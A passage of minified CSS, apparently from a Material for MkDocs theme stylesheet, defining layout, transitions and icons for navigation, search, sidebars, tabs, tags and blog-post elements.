.md-nav__item>.md-nav__link{margin-left:.4rem}.md-nav__toggle~.md-nav{display:grid;grid-template-rows:0fr;opacity:0;transition:grid-template-rows .25s cubic-bezier(.86,0,.07,1),opacity .25s,visibility 0ms .25s;visibility:collapse}.md-nav__toggle~.md-nav>.md-nav__list{overflow:hidden}.md-nav__toggle.md-toggle--indeterminate~.md-nav,.md-nav__toggle:checked~.md-nav{grid-template-rows:1fr;opacity:1;transition:grid-template-rows .25s cubic-bezier(.86,0,.07,1),opacity .15s .1s,visibility 0ms;visibility:visible}.md-nav__toggle.md-toggle--indeterminate~.md-nav{transition:none}.md-nav__item--nested>.md-nav>.md-nav__title{display:none}.md-nav__item--section{display:block;margin:1.25em 0}.md-nav__item--section:last-child{margin-bottom:0}.md-nav__item--section>.md-nav__link{font-weight:700}.md-nav__item--section>.md-nav__link[for]{color:var(--md-default-fg-color--light)}.md-nav__item--section>.md-nav__link:not(.md-nav__container){pointer-events:none}.md-nav__item--section>.md-nav__link .md-icon,.md-nav__item--section>.md-nav__link>[for]{display:none}[dir=ltr] .md-nav__item--section>.md-nav{margin-left:-.6rem}[dir=rtl] .md-nav__item--section>.md-nav{margin-right:-.6rem}.md-nav__item--section>.md-nav{display:block;opacity:1;visibility:visible}.md-nav__item--section>.md-nav>.md-nav__list>.md-nav__item{padding:0}.md-nav__icon{border-radius:100%;height:.9rem;transition:background-color .25s;width:.9rem}.md-nav__icon:hover{background-color:var(--md-accent-fg-color--transparent)}.md-nav__icon:after{background-color:currentcolor;border-radius:100%;content:"";display:inline-block;height:100%;-webkit-mask-image:var(--md-nav-icon--next);mask-image:var(--md-nav-icon--next);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:transform .25s;vertical-align:-.1rem;width:100%}[dir=rtl] .md-nav__icon:after{transform:rotate(180deg)}.md-nav__item--nested .md-nav__toggle:checked~.md-nav__link .md-nav__icon:after,.md-nav__item--nested .md-toggle--indeterminate~.md-nav__link .md-nav__icon:after{transform:rotate(90deg)}.md-nav--lifted>.md-nav__list>.md-nav__item,.md-nav--lifted>.md-nav__title{display:none}.md-nav--lifted>.md-nav__list>.md-nav__item--active{display:block}.md-nav--lifted>.md-nav__list>.md-nav__item--active>.md-nav__link{background:var(--md-default-bg-color);box-shadow:0 0 .4rem .4rem var(--md-default-bg-color);margin-top:0;position:sticky;top:0;z-index:1}.md-nav--lifted>.md-nav__list>.md-nav__item--active>.md-nav__link:not(.md-nav__container){pointer-events:none}.md-nav--lifted>.md-nav__list>.md-nav__item--active.md-nav__item--section{margin:0}[dir=ltr] .md-nav--lifted>.md-nav__list>.md-nav__item>.md-nav:not(.md-nav--secondary){margin-left:-.6rem}[dir=rtl] .md-nav--lifted>.md-nav__list>.md-nav__item>.md-nav:not(.md-nav--secondary){margin-right:-.6rem}.md-nav--lifted>.md-nav__list>.md-nav__item>[for]{color:var(--md-default-fg-color--light)}.md-nav--lifted .md-nav[data-md-level="1"]{grid-template-rows:1fr;opacity:1;visibility:visible}[dir=ltr] .md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{border-left:.05rem solid var(--md-primary-fg-color)}[dir=rtl] .md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{border-right:.05rem solid var(--md-primary-fg-color)}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary{display:block;margin-bottom:1.25em;opacity:1;visibility:visible}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary>.md-nav__list{overflow:visible;padding-bottom:0}.md-nav--integrated>.md-nav__list>.md-nav__item--active .md-nav--secondary>.md-nav__title{display:none}}.md-pagination{font-size:.8rem;font-weight:700;gap:.4rem}.md-pagination,.md-pagination>*{align-items:center;display:flex;justify-content:center}.md-pagination>*{border-radius:.2rem;height:1.8rem;min-width:1.8rem;text-align:center}.md-pagination__current{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light)}.md-pagination__link{transition:color 125ms,background-color 125ms}.md-pagination__link:focus,.md-pagination__link:hover{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-pagination__link:focus svg,.md-pagination__link:hover svg{color:var(--md-accent-fg-color)}.md-pagination__link.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-pagination__link svg{fill:currentcolor;color:var(--md-default-fg-color--lighter);display:block;max-height:100%;width:1.2rem}.md-post__back{border-bottom:.05rem solid var(--md-default-fg-color--lightest);margin-bottom:1.2rem;padding-bottom:1.2rem}@media screen and (max-width:76.234375em){.md-post__back{display:none}}[dir=rtl] .md-post__back svg{transform:scaleX(-1)}.md-post__authors{display:flex;flex-direction:column;gap:.6rem;margin:0 .6rem 1.2rem}.md-post .md-post__meta a{transition:color 125ms}.md-post .md-post__meta a:focus,.md-post .md-post__meta a:hover{color:var(--md-accent-fg-color)}.md-post__title{color:var(--md-default-fg-color--light);font-weight:700}.md-post--excerpt{margin-bottom:3.2rem}.md-post--excerpt .md-post__header{align-items:center;display:flex;gap:.6rem;min-height:1.6rem}.md-post--excerpt .md-post__authors{align-items:center;display:inline-flex;flex-direction:row;gap:.2rem;margin:0;min-height:2.4rem}[dir=ltr] .md-post--excerpt .md-post__meta .md-meta__list{margin-right:.4rem}[dir=rtl] .md-post--excerpt .md-post__meta .md-meta__list{margin-left:.4rem}.md-post--excerpt .md-post__content>:first-child{--md-scroll-margin:6rem;margin-top:0}.md-post>.md-nav--secondary{margin:1em 0}.md-profile{align-items:center;display:flex;font-size:.7rem;gap:.6rem;line-height:1.4;width:100%}.md-profile__description{flex-grow:1}.md-content--post{display:flex}@media screen and (max-width:76.234375em){.md-content--post{flex-flow:column-reverse}}.md-content--post>.md-content__inner{min-width:0}@media screen and (min-width:76.25em){[dir=ltr] .md-content--post>.md-content__inner{margin-left:1.2rem}[dir=rtl] .md-content--post>.md-content__inner{margin-right:1.2rem}}@media screen and (max-width:76.234375em){.md-sidebar.md-sidebar--post{padding:0;position:static;width:100%}.md-sidebar.md-sidebar--post .md-sidebar__scrollwrap{overflow:visible}.md-sidebar.md-sidebar--post .md-sidebar__inner{padding:0}.md-sidebar.md-sidebar--post .md-post__meta{margin-left:.6rem;margin-right:.6rem}.md-sidebar.md-sidebar--post .md-nav__item{border:none;display:inline}.md-sidebar.md-sidebar--post .md-nav__list{display:inline-flex;flex-wrap:wrap;gap:.6rem;padding-bottom:.6rem;padding-top:.6rem}.md-sidebar.md-sidebar--post .md-nav__link{padding:0}.md-sidebar.md-sidebar--post .md-nav{height:auto;margin-bottom:0;position:static}}:root{--md-progress-value:0;--md-progress-delay:400ms}.md-progress{background:var(--md-primary-bg-color);height:.075rem;opacity:min(clamp(0,var(--md-progress-value),1),clamp(0,100 - var(--md-progress-value),1));position:fixed;top:0;transform:scaleX(calc(var(--md-progress-value)*1%));transform-origin:left;transition:transform .5s cubic-bezier(.19,1,.22,1),opacity .25s var(--md-progress-delay);width:100%;z-index:4}:root{--md-search-result-icon:url('data:image/svg+xml;charset=utf-8,')}.md-search{position:relative}@media screen and (min-width:60em){.md-search{padding:.2rem 0}}.no-js .md-search{display:none}.md-search__overlay{opacity:0;z-index:1}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__overlay{left:-2.2rem}[dir=rtl] .md-search__overlay{right:-2.2rem}.md-search__overlay{background-color:var(--md-default-bg-color);border-radius:1rem;height:2rem;overflow:hidden;pointer-events:none;position:absolute;top:-1rem;transform-origin:center;transition:transform .3s .1s,opacity .2s .2s;width:2rem}[data-md-toggle=search]:checked~.md-header .md-search__overlay{opacity:1;transition:transform .4s,opacity .1s}}@media screen and (min-width:60em){[dir=ltr] .md-search__overlay{left:0}[dir=rtl] .md-search__overlay{right:0}.md-search__overlay{background-color:#0000008a;cursor:pointer;height:0;position:fixed;top:0;transition:width 0ms .25s,height 0ms .25s,opacity .25s;width:0}[data-md-toggle=search]:checked~.md-header .md-search__overlay{height:200vh;opacity:1;transition:width 0ms,height 0ms,opacity .25s;width:100%}}@media screen and (max-width:29.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(45)}}@media screen and (min-width:30em) and (max-width:44.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(60)}}@media screen and (min-width:45em) and (max-width:59.984375em){[data-md-toggle=search]:checked~.md-header .md-search__overlay{transform:scale(75)}}.md-search__inner{-webkit-backface-visibility:hidden;backface-visibility:hidden}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__inner{left:0}[dir=rtl] .md-search__inner{right:0}.md-search__inner{height:0;opacity:0;overflow:hidden;position:fixed;top:0;transform:translateX(5%);transition:width 0ms .3s,height 0ms .3s,transform .15s cubic-bezier(.4,0,.2,1) .15s,opacity .15s .15s;width:0;z-index:2}[dir=rtl] .md-search__inner{transform:translateX(-5%)}[data-md-toggle=search]:checked~.md-header .md-search__inner{height:100%;opacity:1;transform:translateX(0);transition:width 0ms 0ms,height 0ms 0ms,transform .15s cubic-bezier(.1,.7,.1,1) .15s,opacity .15s .15s;width:100%}}@media screen and (min-width:60em){[dir=ltr] .md-search__inner{float:right}[dir=rtl] .md-search__inner{float:left}.md-search__inner{padding:.1rem 0;position:relative;transition:width .25s cubic-bezier(.1,.7,.1,1);width:11.7rem}}@media screen and (min-width:60em) and (max-width:76.234375em){[data-md-toggle=search]:checked~.md-header .md-search__inner{width:23.4rem}}@media screen and (min-width:76.25em){[data-md-toggle=search]:checked~.md-header .md-search__inner{width:34.4rem}}.md-search__form{background-color:var(--md-default-bg-color);box-shadow:0 0 .6rem #0000;height:2.4rem;position:relative;transition:color .25s,background-color .25s;z-index:2}@media screen and (min-width:60em){.md-search__form{background-color:#00000042;border-radius:.1rem;height:1.8rem}.md-search__form:hover{background-color:#ffffff1f}}[data-md-toggle=search]:checked~.md-header .md-search__form{background-color:var(--md-default-bg-color);border-radius:.1rem .1rem 0 0;box-shadow:0 0 .6rem #00000012;color:var(--md-default-fg-color)}[dir=ltr] .md-search__input{padding-left:3.6rem;padding-right:2.2rem}[dir=rtl] .md-search__input{padding-left:2.2rem;padding-right:3.6rem}.md-search__input{background:#0000;font-size:.9rem;height:100%;position:relative;text-overflow:ellipsis;width:100%;z-index:2}.md-search__input::placeholder{transition:color .25s}.md-search__input::placeholder,.md-search__input~.md-search__icon{color:var(--md-default-fg-color--light)}.md-search__input::-ms-clear{display:none}@media screen and (max-width:59.984375em){.md-search__input{font-size:.9rem;height:2.4rem;width:100%}}@media screen and (min-width:60em){[dir=ltr] .md-search__input{padding-left:2.2rem}[dir=rtl] .md-search__input{padding-right:2.2rem}.md-search__input{color:inherit;font-size:.8rem}.md-search__input::placeholder{color:var(--md-primary-bg-color--light)}.md-search__input+.md-search__icon{color:var(--md-primary-bg-color)}[data-md-toggle=search]:checked~.md-header .md-search__input{text-overflow:clip}[data-md-toggle=search]:checked~.md-header .md-search__input+.md-search__icon{color:var(--md-default-fg-color--light)}[data-md-toggle=search]:checked~.md-header .md-search__input::placeholder{color:#0000}}.md-search__icon{cursor:pointer;display:inline-block;height:1.2rem;transition:color .25s,opacity .25s;width:1.2rem}.md-search__icon:hover{opacity:.7}[dir=ltr] .md-search__icon[for=__search]{left:.5rem}[dir=rtl] .md-search__icon[for=__search]{right:.5rem}.md-search__icon[for=__search]{position:absolute;top:.3rem;z-index:2}[dir=rtl] .md-search__icon[for=__search] svg{transform:scaleX(-1)}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__icon[for=__search]{left:.8rem}[dir=rtl] .md-search__icon[for=__search]{right:.8rem}.md-search__icon[for=__search]{top:.6rem}.md-search__icon[for=__search] svg:first-child{display:none}}@media screen and (min-width:60em){.md-search__icon[for=__search]{pointer-events:none}.md-search__icon[for=__search] svg:last-child{display:none}}[dir=ltr] .md-search__options{right:.5rem}[dir=rtl] .md-search__options{left:.5rem}.md-search__options{pointer-events:none;position:absolute;top:.3rem;z-index:2}@media screen and (max-width:59.984375em){[dir=ltr] .md-search__options{right:.8rem}[dir=rtl] .md-search__options{left:.8rem}.md-search__options{top:.6rem}}[dir=ltr] .md-search__options>.md-icon{margin-left:.2rem}[dir=rtl] .md-search__options>.md-icon{margin-right:.2rem}.md-search__options>.md-icon{color:var(--md-default-fg-color--light);opacity:0;transform:scale(.75);transition:transform .15s cubic-bezier(.1,.7,.1,1),opacity .15s}.md-search__options>.md-icon:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}[data-md-toggle=search]:checked~.md-header .md-search__input:valid~.md-search__options>.md-icon{opacity:1;pointer-events:auto;transform:scale(1)}[data-md-toggle=search]:checked~.md-header .md-search__input:valid~.md-search__options>.md-icon:hover{opacity:.7}[dir=ltr] .md-search__suggest{padding-left:3.6rem;padding-right:2.2rem}[dir=rtl] .md-search__suggest{padding-left:2.2rem;padding-right:3.6rem}.md-search__suggest{align-items:center;color:var(--md-default-fg-color--lighter);display:flex;font-size:.9rem;height:100%;opacity:0;position:absolute;top:0;transition:opacity 50ms;white-space:nowrap;width:100%}@media screen and (min-width:60em){[dir=ltr] .md-search__suggest{padding-left:2.2rem}[dir=rtl] .md-search__suggest{padding-right:2.2rem}.md-search__suggest{font-size:.8rem}}[data-md-toggle=search]:checked~.md-header .md-search__suggest{opacity:1;transition:opacity .3s .1s}[dir=ltr] .md-search__output{border-bottom-left-radius:.1rem}[dir=ltr] .md-search__output,[dir=rtl] .md-search__output{border-bottom-right-radius:.1rem}[dir=rtl] .md-search__output{border-bottom-left-radius:.1rem}.md-search__output{overflow:hidden;position:absolute;width:100%;z-index:1}@media screen and (max-width:59.984375em){.md-search__output{bottom:0;top:2.4rem}}@media screen and (min-width:60em){.md-search__output{opacity:0;top:1.9rem;transition:opacity .4s}[data-md-toggle=search]:checked~.md-header .md-search__output{box-shadow:var(--md-shadow-z3);opacity:1}}.md-search__scrollwrap{-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:var(--md-default-bg-color);height:100%;overflow-y:auto;touch-action:pan-y}@media (-webkit-max-device-pixel-ratio:1),(max-resolution:1dppx){.md-search__scrollwrap{transform:translateZ(0)}}@media screen and (min-width:60em) and (max-width:76.234375em){.md-search__scrollwrap{width:23.4rem}}@media screen and (min-width:76.25em){.md-search__scrollwrap{width:34.4rem}}@media screen and (min-width:60em){.md-search__scrollwrap{max-height:0;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin}[data-md-toggle=search]:checked~.md-header .md-search__scrollwrap{max-height:75vh}.md-search__scrollwrap:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-search__scrollwrap::-webkit-scrollbar{height:.2rem;width:.2rem}.md-search__scrollwrap::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-search__scrollwrap::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}}.md-search-result{color:var(--md-default-fg-color);word-break:break-word}.md-search-result__meta{background-color:var(--md-default-fg-color--lightest);color:var(--md-default-fg-color--light);font-size:.64rem;line-height:1.8rem;padding:0 .8rem;scroll-snap-align:start}@media screen and (min-width:60em){[dir=ltr] .md-search-result__meta{padding-left:2.2rem}[dir=rtl] .md-search-result__meta{padding-right:2.2rem}}.md-search-result__list{list-style:none;margin:0;padding:0;-webkit-user-select:none;user-select:none}.md-search-result__item{box-shadow:0 -.05rem var(--md-default-fg-color--lightest)}.md-search-result__item:first-child{box-shadow:none}.md-search-result__link{display:block;outline:none;scroll-snap-align:start;transition:background-color .25s}.md-search-result__link:focus,.md-search-result__link:hover{background-color:var(--md-accent-fg-color--transparent)}.md-search-result__link:last-child p:last-child{margin-bottom:.6rem}.md-search-result__more>summary{cursor:pointer;display:block;outline:none;position:sticky;scroll-snap-align:start;top:0;z-index:1}.md-search-result__more>summary::marker{display:none}.md-search-result__more>summary::-webkit-details-marker{display:none}.md-search-result__more>summary>div{color:var(--md-typeset-a-color);font-size:.64rem;padding:.75em .8rem;transition:color .25s,background-color .25s}@media screen and (min-width:60em){[dir=ltr] .md-search-result__more>summary>div{padding-left:2.2rem}[dir=rtl] .md-search-result__more>summary>div{padding-right:2.2rem}}.md-search-result__more>summary:focus>div,.md-search-result__more>summary:hover>div{background-color:var(--md-accent-fg-color--transparent);color:var(--md-accent-fg-color)}.md-search-result__more[open]>summary{background-color:var(--md-default-bg-color)}.md-search-result__article{overflow:hidden;padding:0 .8rem;position:relative}@media screen and (min-width:60em){[dir=ltr] .md-search-result__article{padding-left:2.2rem}[dir=rtl] .md-search-result__article{padding-right:2.2rem}}[dir=ltr] .md-search-result__icon{left:0}[dir=rtl] .md-search-result__icon{right:0}.md-search-result__icon{color:var(--md-default-fg-color--light);height:1.2rem;margin:.5rem;position:absolute;width:1.2rem}@media screen and (max-width:59.984375em){.md-search-result__icon{display:none}}.md-search-result__icon:after{background-color:currentcolor;content:"";display:inline-block;height:100%;-webkit-mask-image:var(--md-search-result-icon);mask-image:var(--md-search-result-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:100%}[dir=rtl] .md-search-result__icon:after{transform:scaleX(-1)}.md-search-result .md-typeset{color:var(--md-default-fg-color--light);font-size:.64rem;line-height:1.6}.md-search-result .md-typeset h1{color:var(--md-default-fg-color);font-size:.8rem;font-weight:400;line-height:1.4;margin:.55rem 0}.md-search-result .md-typeset h1 mark{text-decoration:none}.md-search-result .md-typeset h2{color:var(--md-default-fg-color);font-size:.64rem;font-weight:700;line-height:1.6;margin:.5em 0}.md-search-result .md-typeset h2 mark{text-decoration:none}.md-search-result__terms{color:var(--md-default-fg-color);display:block;font-size:.64rem;font-style:italic;margin:.5em 0}.md-search-result mark{background-color:initial;color:var(--md-accent-fg-color);text-decoration:underline}.md-select{position:relative;z-index:1}.md-select__inner{background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);left:50%;margin-top:.2rem;max-height:0;opacity:0;position:absolute;top:calc(100% - .2rem);transform:translate3d(-50%,.3rem,0);transition:transform .25s 375ms,opacity .25s .25s,max-height 0ms .5s}.md-select:focus-within .md-select__inner,.md-select:hover .md-select__inner{max-height:10rem;opacity:1;transform:translate3d(-50%,0,0);transition:transform .25s cubic-bezier(.1,.7,.1,1),opacity .25s,max-height 0ms}.md-select__inner:after{border-bottom:.2rem solid #0000;border-bottom-color:var(--md-default-bg-color);border-left:.2rem solid #0000;border-right:.2rem solid #0000;border-top:0;content:"";height:0;left:50%;margin-left:-.2rem;margin-top:-.2rem;position:absolute;top:0;width:0}.md-select__list{border-radius:.1rem;font-size:.8rem;list-style-type:none;margin:0;max-height:inherit;overflow:auto;padding:0}.md-select__item{line-height:1.8rem}[dir=ltr] .md-select__link{padding-left:.6rem;padding-right:1.2rem}[dir=rtl] .md-select__link{padding-left:1.2rem;padding-right:.6rem}.md-select__link{cursor:pointer;display:block;outline:none;scroll-snap-align:start;transition:background-color .25s,color .25s;width:100%}.md-select__link:focus,.md-select__link:hover{color:var(--md-accent-fg-color)}.md-select__link:focus{background-color:var(--md-default-fg-color--lightest)}.md-sidebar{align-self:flex-start;flex-shrink:0;padding:1.2rem 0;position:sticky;top:2.4rem;width:12.1rem}@media print{.md-sidebar{display:none}}@media screen and (max-width:76.234375em){[dir=ltr] .md-sidebar--primary{left:-12.1rem}[dir=rtl] .md-sidebar--primary{right:-12.1rem}.md-sidebar--primary{background-color:var(--md-default-bg-color);display:block;height:100%;position:fixed;top:0;transform:translateX(0);transition:transform .25s cubic-bezier(.4,0,.2,1),box-shadow .25s;width:12.1rem;z-index:5}[data-md-toggle=drawer]:checked~.md-container .md-sidebar--primary{box-shadow:var(--md-shadow-z3);transform:translateX(12.1rem)}[dir=rtl] [data-md-toggle=drawer]:checked~.md-container .md-sidebar--primary{transform:translateX(-12.1rem)}.md-sidebar--primary .md-sidebar__scrollwrap{bottom:0;left:0;margin:0;overflow:hidden;position:absolute;right:0;scroll-snap-type:none;top:0}}@media screen and (min-width:76.25em){.md-sidebar{height:0}.no-js .md-sidebar{height:auto}.md-header--lifted~.md-container .md-sidebar{top:4.8rem}}.md-sidebar--secondary{display:none;order:2}@media screen and (min-width:60em){.md-sidebar--secondary{height:0}.no-js .md-sidebar--secondary{height:auto}.md-sidebar--secondary:not([hidden]){display:block}.md-sidebar--secondary .md-sidebar__scrollwrap{touch-action:pan-y}}.md-sidebar__scrollwrap{scrollbar-gutter:stable;-webkit-backface-visibility:hidden;backface-visibility:hidden;margin:0 .2rem;overflow-y:auto;scrollbar-color:var(--md-default-fg-color--lighter) #0000;scrollbar-width:thin}.md-sidebar__scrollwrap::-webkit-scrollbar{height:.2rem;width:.2rem}.md-sidebar__scrollwrap:focus-within,.md-sidebar__scrollwrap:hover{scrollbar-color:var(--md-accent-fg-color) #0000}.md-sidebar__scrollwrap:focus-within::-webkit-scrollbar-thumb,.md-sidebar__scrollwrap:hover::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-sidebar__scrollwrap:focus-within::-webkit-scrollbar-thumb:hover,.md-sidebar__scrollwrap:hover::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}@supports selector(::-webkit-scrollbar){.md-sidebar__scrollwrap{scrollbar-gutter:auto}[dir=ltr] .md-sidebar__inner{padding-right:calc(100% - 11.5rem)}[dir=rtl] .md-sidebar__inner{padding-left:calc(100% - 11.5rem)}}@media screen and (max-width:76.234375em){.md-overlay{background-color:#0000008a;height:0;opacity:0;position:fixed;top:0;transition:width 0ms .25s,height 0ms .25s,opacity .25s;width:0;z-index:5}[data-md-toggle=drawer]:checked~.md-overlay{height:100%;opacity:1;transition:width 0ms,height 0ms,opacity .25s;width:100%}}@keyframes facts{0%{height:0}to{height:.65rem}}@keyframes fact{0%{opacity:0;transform:translateY(100%)}50%{opacity:0}to{opacity:1;transform:translateY(0)}}:root{--md-source-forks-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-repositories-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-stars-icon:url('data:image/svg+xml;charset=utf-8,');--md-source-version-icon:url('data:image/svg+xml;charset=utf-8,')}.md-source{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:block;font-size:.65rem;line-height:1.2;outline-color:var(--md-accent-fg-color);transition:opacity .25s;white-space:nowrap}.md-source:hover{opacity:.7}.md-source__icon{display:inline-block;height:2.4rem;vertical-align:middle;width:2rem}[dir=ltr] .md-source__icon svg{margin-left:.6rem}[dir=rtl] .md-source__icon svg{margin-right:.6rem}.md-source__icon svg{margin-top:.6rem}[dir=ltr] .md-source__icon+.md-source__repository{padding-left:2rem}[dir=rtl] .md-source__icon+.md-source__repository{padding-right:2rem}[dir=ltr] .md-source__icon+.md-source__repository{margin-left:-2rem}[dir=rtl] .md-source__icon+.md-source__repository{margin-right:-2rem}[dir=ltr] .md-source__repository{margin-left:.6rem}[dir=rtl] .md-source__repository{margin-right:.6rem}.md-source__repository{display:inline-block;max-width:calc(100% - 1.2rem);overflow:hidden;text-overflow:ellipsis;vertical-align:middle}.md-source__facts{display:flex;font-size:.55rem;gap:.4rem;list-style-type:none;margin:.1rem 0 0;opacity:.75;overflow:hidden;padding:0;width:100%}.md-source__repository--active .md-source__facts{animation:facts .25s ease-in}.md-source__fact{overflow:hidden;text-overflow:ellipsis}.md-source__repository--active .md-source__fact{animation:fact .4s ease-out}[dir=ltr] .md-source__fact:before{margin-right:.1rem}[dir=rtl] .md-source__fact:before{margin-left:.1rem}.md-source__fact:before{background-color:currentcolor;content:"";display:inline-block;height:.6rem;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;vertical-align:text-top;width:.6rem}.md-source__fact:nth-child(1n+2){flex-shrink:0}.md-source__fact--version:before{-webkit-mask-image:var(--md-source-version-icon);mask-image:var(--md-source-version-icon)}.md-source__fact--stars:before{-webkit-mask-image:var(--md-source-stars-icon);mask-image:var(--md-source-stars-icon)}.md-source__fact--forks:before{-webkit-mask-image:var(--md-source-forks-icon);mask-image:var(--md-source-forks-icon)}.md-source__fact--repositories:before{-webkit-mask-image:var(--md-source-repositories-icon);mask-image:var(--md-source-repositories-icon)}.md-source-file{margin:1em 0}[dir=ltr] .md-source-file__fact{margin-right:.6rem}[dir=rtl] .md-source-file__fact{margin-left:.6rem}.md-source-file__fact{align-items:center;color:var(--md-default-fg-color--light);display:inline-flex;font-size:.68rem;gap:.3rem}.md-source-file__fact .md-icon{flex-shrink:0;margin-bottom:.05rem}[dir=ltr] .md-source-file__fact .md-author{float:left}[dir=rtl] .md-source-file__fact .md-author{float:right}.md-source-file__fact .md-author{margin-right:.2rem}.md-source-file__fact svg{width:.9rem}:root{--md-status:url('data:image/svg+xml;charset=utf-8,');--md-status--new:url('data:image/svg+xml;charset=utf-8,');--md-status--deprecated:url('data:image/svg+xml;charset=utf-8,');--md-status--encrypted:url('data:image/svg+xml;charset=utf-8,')}.md-status:after{background-color:var(--md-default-fg-color--light);content:"";display:inline-block;height:1.125em;-webkit-mask-image:var(--md-status);mask-image:var(--md-status);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;vertical-align:text-bottom;width:1.125em}.md-status:hover:after{background-color:currentcolor}.md-status--new:after{-webkit-mask-image:var(--md-status--new);mask-image:var(--md-status--new)}.md-status--deprecated:after{-webkit-mask-image:var(--md-status--deprecated);mask-image:var(--md-status--deprecated)}.md-status--encrypted:after{-webkit-mask-image:var(--md-status--encrypted);mask-image:var(--md-status--encrypted)}.md-tabs{background-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color);display:block;line-height:1.3;overflow:auto;width:100%;z-index:3}@media print{.md-tabs{display:none}}@media screen and (max-width:76.234375em){.md-tabs{display:none}}.md-tabs[hidden]{pointer-events:none}[dir=ltr] .md-tabs__list{margin-left:.2rem}[dir=rtl] .md-tabs__list{margin-right:.2rem}.md-tabs__list{contain:content;display:flex;list-style:none;margin:0;overflow:auto;padding:0;scrollbar-width:none;white-space:nowrap}.md-tabs__list::-webkit-scrollbar{display:none}.md-tabs__item{height:2.4rem;padding-left:.6rem;padding-right:.6rem}.md-tabs__item--active .md-tabs__link{color:inherit;opacity:1}.md-tabs__link{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:flex;font-size:.7rem;margin-top:.8rem;opacity:.7;outline-color:var(--md-accent-fg-color);outline-offset:.2rem;transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .25s}.md-tabs__link:focus,.md-tabs__link:hover{color:inherit;opacity:1}[dir=ltr] .md-tabs__link svg{margin-right:.4rem}[dir=rtl] .md-tabs__link svg{margin-left:.4rem}.md-tabs__link svg{fill:currentcolor;height:1.3em}.md-tabs__item:nth-child(2) .md-tabs__link{transition-delay:20ms}.md-tabs__item:nth-child(3) .md-tabs__link{transition-delay:40ms}.md-tabs__item:nth-child(4) .md-tabs__link{transition-delay:60ms}.md-tabs__item:nth-child(5) .md-tabs__link{transition-delay:80ms}.md-tabs__item:nth-child(6) .md-tabs__link{transition-delay:.1s}.md-tabs__item:nth-child(7) .md-tabs__link{transition-delay:.12s}.md-tabs__item:nth-child(8) .md-tabs__link{transition-delay:.14s}.md-tabs__item:nth-child(9) .md-tabs__link{transition-delay:.16s}.md-tabs__item:nth-child(10) .md-tabs__link{transition-delay:.18s}.md-tabs__item:nth-child(11) .md-tabs__link{transition-delay:.2s}.md-tabs__item:nth-child(12) .md-tabs__link{transition-delay:.22s}.md-tabs__item:nth-child(13) .md-tabs__link{transition-delay:.24s}.md-tabs__item:nth-child(14) .md-tabs__link{transition-delay:.26s}.md-tabs__item:nth-child(15) .md-tabs__link{transition-delay:.28s}.md-tabs__item:nth-child(16) .md-tabs__link{transition-delay:.3s}.md-tabs[hidden] .md-tabs__link{opacity:0;transform:translateY(50%);transition:transform 0ms .1s,opacity .1s}:root{--md-tag-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .md-tags:not([hidden]){display:inline-flex;flex-wrap:wrap;gap:.5em;margin-bottom:.75em;margin-top:-.125em}.md-typeset .md-tag{align-items:center;background:var(--md-default-fg-color--lightest);border-radius:2.4rem;display:inline-flex;font-size:.64rem;font-size:min(.8em,.64rem);font-weight:700;gap:.5em;letter-spacing:normal;line-height:1.6;padding:.3125em .78125em}.md-typeset .md-tag[href]{-webkit-tap-highlight-color:transparent;color:inherit;outline:none;transition:color 125ms,background-color 125ms}.md-typeset .md-tag[href]:focus,.md-typeset .md-tag[href]:hover{background-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}[id]>.md-typeset .md-tag{vertical-align:text-top}.md-typeset .md-tag-icon:before{background-color:var(--md-default-fg-color--lighter);content:"";display:inline-block;height:1.2em;-webkit-mask-image:var(--md-tag-icon);mask-image:var(--md-tag-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color 125ms;vertical-align:text-bottom;width:1.2em}.md-typeset .md-tag-icon[href]:focus:before,.md-typeset .md-tag-icon[href]:hover:before{background-color:var(--md-accent-bg-color)}@keyframes 